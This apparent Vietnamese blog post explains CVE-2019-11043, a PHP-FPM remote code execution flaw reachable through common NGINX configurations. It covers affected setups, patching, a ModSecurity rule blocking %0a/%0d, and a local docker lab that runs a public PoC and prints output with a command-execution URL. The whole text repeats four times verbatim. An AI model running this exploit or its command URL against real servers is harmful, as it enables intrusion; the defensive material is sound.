Lỗ hổng PHP-FPM (CVE-2019-11043) với máy chủ NGINX

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.
Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.
Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường 

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.
Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

• NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
• fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
• Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

• Upgrade lên phiên bản PHP mới hơn.
• Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
  • Thêm try_files $uri = 404; vào file config của NGINX.
  • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d
    SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.
https://github.com/theMiddleBlue/CVE-2019-11043

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git
cd CVE-2019-11043
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php

[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!
    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.
Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.
Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường 

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.
Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

• NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
• fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
• Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

• Upgrade lên phiên bản PHP mới hơn.
• Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
  • Thêm try_files $uri = 404; vào file config của NGINX.
  • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d
    SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.
https://github.com/theMiddleBlue/CVE-2019-11043

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git
cd CVE-2019-11043
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php

[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!
    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.
Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.
Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường 

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.
Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

• NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
• fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
• Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

• Upgrade lên phiên bản PHP mới hơn.
• Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
  • Thêm try_files $uri = 404; vào file config của NGINX.
  • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d
    SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.
https://github.com/theMiddleBlue/CVE-2019-11043

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git
cd CVE-2019-11043
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php

[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!
    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.
Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.
Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường 

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.
Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

• NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
• fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
• Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

• Upgrade lên phiên bản PHP mới hơn.
• Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
  • Thêm try_files $uri = 404; vào file config của NGINX.
  • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d
    SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.
https://github.com/theMiddleBlue/CVE-2019-11043

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git
cd CVE-2019-11043
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php

[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!
    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/